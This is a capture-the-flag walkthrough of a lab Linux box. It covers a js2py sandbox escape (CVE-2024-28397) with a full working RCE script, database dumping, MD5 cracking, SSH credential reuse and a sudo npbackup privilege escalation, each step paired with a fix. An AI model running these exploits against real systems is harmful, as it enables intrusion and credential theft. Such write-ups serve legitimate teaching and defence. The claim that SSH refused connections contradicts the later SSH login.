← all walkthroughs

CodePartTwo

Linux· Easy· Privilege Escalation
owned
2026-07-06
time to own
7m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target codeparttwo ($TARGET) ran a Python web application served by Gunicorn on port 8000. The application exposed an unauthenticated /run_code endpoint that passed caller-supplied JavaScript to the js2py library. A known sandbox-escape flaw in js2py ≤ 0.74 (CVE-2024-28397) lets me walk Python's internal class hierarchy from within JavaScript and invoke subprocess functions, producing unauthenticated OS command execution as the app OS user (uid=1001).

From that foothold I read the application's SQLite database and extracted three users' passwords stored as raw, unsalted MD5 hashes. Cracking marco's hash offline in seconds yielded the cleartext password [REDACTED: recovered credential], which he had reused as his OS login credential; SSH access as marco produced the user flag. Inspecting sudo rights revealed that marco could run the npbackup backup utility as root without a password and could supply an arbitrary configuration file via --config-file.

By copying the legitimate config, redirecting its backup paths entry from the application directory to /root, and triggering the backup as root, I archived and then restored root.txt — completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration
Scanned the host and identified two exposed services
A service-version scan against $TARGET returned two open TCP ports: 22 running OpenSSH 8.2p1 on Ubuntu and 8000 serving a Gunicorn 20.0.4 Python WSGI application. SSH later refused connections, leaving the web application as the only reachable attack surface.
Exact commands 2
Service-version fingerprint of the two discovered ports.
nmap -Pn -sV -p22,8000 $TARGET
Fetch the application home page to identify technology, links, and endpoint hints.
curl -si http://$TARGET:8000/
2EnumerationWeb content and endpoint discovery
Discovered an unauthenticated server-side code-execution endpoint
Browsing port 8000 revealed user registration and login pages. Content discovery surfaced a /run_code endpoint that accepted JSON-encoded JavaScript via POST and returned the evaluated result — with no authentication required. Error messages and stack traces confirmed the server-side interpreter was the js2py library running under Python.
Exact commands 2
Probe the endpoint with benign input; a 200 with {"result":"2"} confirms it evaluates and returns JavaScript output.
curl -s -X POST http://$TARGET:8000/run_code -H 'Content-Type: application/json' -d '{"code":"1+1"}'
Optional broader content discovery to surface additional endpoints.
ffuf -u http://$TARGET:8000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,302,401
FixRemove or isolate the unauthenticated server-side code-execution endpointCritical
WeaknessThe /run_code endpoint accepted arbitrary JavaScript from any unauthenticated caller and executed it server-side through the js2py library. js2py ≤ 0.74 (CVE-2024-28397) does not fully isolate its JavaScript context from the host Python runtime, allowing callers to traverse Python's class hierarchy, reach subprocess, and execute arbitrary OS commands with the permissions of the web-server process.
FixIf /run_code is not a production requirement, delete the endpoint entirely. If server-side code execution is a genuine product feature, run it in an isolated container or VM with no access to the host filesystem, database, or internal network, and require authentication plus per-user rate limiting before accepting input. Update js2py to a version that resolves CVE-2024-28397, or replace it with a hardened runtime (e.g., a sandboxed Node.js child process, Pyodide in a restricted worker, or a purpose-built code-execution API). As defence in depth, run the web-application process under a dedicated low-privilege OS account with a read-only filesystem namespace.
3Exploitationjs2py sandbox escape — CVE-2024-28397
Escaped the js2py JavaScript sandbox to execute OS commands (CVE-2024-28397)
The js2py library ≤ 0.74 exposes Python's internal object hierarchy to its JavaScript context through an incomplete bridge. By calling Object.getOwnPropertyNames({}) to obtain a Python-backed object and traversing __subclasses__() from the base class, I located Python's catch_warnings class, dereferences its bound __builtins__ module, and calls subprocess.check_output() — bypassing the sandbox entirely. Posting this payload to /run_code returned the output of the OS id command, confirming unauthenticated RCE as app (uid=1001, gid=1001).
Exact commands 1
Create the CVE-2024-28397 driver script then run it. Swap the argument for any OS command.
cat > rce.py << 'EOF'
import requests, json, sys
cmd = sys.argv[1] if len(sys.argv) > 1 else 'id'
code = ('let cmd=' + json.dumps(cmd) + ';'
        'let g=Object.getOwnPropertyNames({}).__getattribute__;'
        'let b=g("__class__").__base__;'
        'let result="";'
        'for(let i in b.__subclasses__()){'
        '  let c=b.__subclasses__()[i];'
        '  if(c.__name__=="catch_warnings"){'
        '    let bi=c()._module.__builtins__;'
        '    result=bi.__dict__["__import__"]("subprocess").check_output(cmd,shell=true,text=true);'
        '    break;}}'
        'result;')
print(requests.post("http://$TARGET:8000/run_code", json={'code': code}).json())
EOF
python3 rce.py 'id'
4Credential ExfiltrationCredential dumping via OS command execution (T1552.001)
Dumped the SQLite user database through the RCE foothold
With OS command execution as the app user, I located the application's SQLite database file and queried the users table directly, recovering three accounts — marco, app, and ptest176 — each storing its password as a raw unsalted MD5 hash. A direct read of /home/marco was blocked by filesystem permissions, so lateral movement via credentials was the necessary next step.
Exact commands 2
Locate the SQLite database file.
python3 rce.py 'find /home/app -name "*.db" 2>/dev/null'
Dump all rows from the users table. Substitute the real DB path from the previous command if it differs.
python3 rce.py 'sqlite3 /home/app/app/users.db "SELECT * FROM users;"'
5Credential CrackingOffline password cracking — unsalted MD5 (T1110.002)
Cracked marco's unsalted MD5 hash to recover his cleartext password
The MD5 hash for marco ([REDACTED: recovered credential]) was submitted to hashcat against the rockyou wordlist. Because the hash was stored without a per-user salt, dictionary attacks run at hundreds of millions of guesses per second on commodity hardware and the hash cracked immediately. The password resolved to [REDACTED: recovered credential].
Exact commands 2
Save the raw MD5 hash to a file.
echo '[REDACTED: recovered credential]' > marco.hash
Mode 0 = raw MD5. Resolves to: [REDACTED: recovered credential].
hashcat -m 0 marco.hash /usr/share/wordlists/rockyou.txt --force
FixReplace unsalted MD5 password hashes with a modern, slow, salted algorithmHigh
WeaknessUser passwords were stored as raw MD5 hashes with no per-user salt. MD5 is a fast, general-purpose cryptographic hash, not a password-hashing function; identical passwords always produce identical digests, enabling dictionary and rainbow-table attacks that process hundreds of millions of candidates per second on commodity hardware.
FixReplace MD5 with a purpose-built password-hashing function — bcrypt, scrypt, or Argon2id — all of which embed a unique random salt per record and are deliberately tuned to be slow. In Python, passlib (passlib.hash.argon2) or werkzeug.security provide drop-in replacements. Migrate existing hashes by re-hashing on each user's next successful login and force-expire any accounts that do not re-authenticate within a defined window. Rotate all credentials on this host immediately.
6Lateral MovementValid accounts — credential reuse (T1078)
Authenticated via SSH as marco using the cracked web-app password
The password [REDACTED: recovered credential] cracked from the web application database was identical to marco's OS account password, allowing direct SSH login to the host. The user flag was read from /home/marco/user.txt.
Exact commands 2
Opens an interactive shell as marco. Password: [REDACTED: recovered credential].
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no marco@$TARGET
Reads the user flag: <user.txt>.
cat /home/marco/user.txt
FixEnforce distinct credentials for web-application and OS accounts, and prefer SSH key authenticationHigh
WeaknessThe OS login password for user marco was identical to his web-application password. Once the application database was read through the RCE, the single cracked credential unlocked SSH access to the host with no additional barrier.
FixEnforce a policy that application and OS account passwords are always different — document it and, where technically feasible, detect and block reuse at password-change time. Disable password-based SSH authentication in favour of SSH key pairs (set PasswordAuthentication no in /etc/ssh/sshd_config and distribute public keys through a controlled provisioning process). Rotate marco's OS and application credentials immediately, and audit other accounts for the same pattern.
7Privilege EscalationSudo misconfiguration — user-controlled config path (T1548.003)
Abused a sudo NOPASSWD npbackup rule with a user-controlled config file to archive and read /root
Checking sudo rights as marco revealed a NOPASSWD entry permitting npbackup to run as root with an arbitrary --config-file argument. Marco's home directory contained npbackup.conf, which specified the backup repository credentials and a paths list targeting /home/app/app/. I copied the file and replaced the paths value with /root, then ran npbackup as root with the modified config. The root-privileged backup job archived /root into the repository. Restoring the archive as marco made root.txt accessible in the restore destination.
Cp /home/marco/npbackup.conf /tmp/npbackup-root.conf; Python script replaces paths entry /home/app/app/ → /root; sudo npbackup invoked with modified config.
Exact commands 5
Verify the NOPASSWD entry: (root) NOPASSWD: /usr/bin/npbackup --config-file *.
sudo -l
Copy the config so the original is unchanged.
cp /home/marco/npbackup.conf /tmp/npbackup-root.conf
Redirect the backup source path from the app directory to /root. Adjust indentation to match the actual YAML indentation in the file — inspect with: grep -n 'paths' /tmp/npbackup-root.conf
python3 -c "from pathlib import Path; p=Path('/tmp/npbackup-root.conf'); s=p.read_text(); s=s.replace('paths:\n    - /home/app/app/', 'paths:\n    - /root'); p.write_text(s)"
Run the backup as root. Archives /root into the repository defined in the config.
sudo npbackup --config-file /tmp/npbackup-root.conf --backup
Restore the archive as marco (repo is accessible to marco via credentials in the config). Reads the root flag: <root.txt>.
npbackup --config-file /tmp/npbackup-root.conf --restore --destination /tmp/restore_root && cat /tmp/restore_root/root/root.txt
FixRemove the NOPASSWD sudo rule for npbackup and lock the config file path to a root-owned fileCritical
WeaknessA sudoers entry allowed the OS user marco to run /usr/bin/npbackup as root without a password and to supply any file as --config-file. Because npbackup trusts the paths listed in its config, a user-controlled config file is equivalent to a root-privileged arbitrary-file-read primitive: anything on the filesystem can be backed up and then restored by the low-privilege user.
FixRemove the NOPASSWD sudo entry for npbackup. If automated root-level backups are required, schedule them from a root-owned cron job using a config file owned by root and not writable by other users (e.g., /etc/npbackup/backup.conf, mode 0600, owner root). If the sudo entry must remain for operational reasons, restrict it to a single fixed, immutable config path — for example: marco ALL=(root) NOPASSWD: /usr/bin/npbackup --config-file /etc/npbackup/backup.conf — and verify that file cannot be modified or replaced by marco. Apply least-privilege: the backup service account should have read access only to the directories it is authorised to archive.

Exposed services

22/tcp
8000/tcp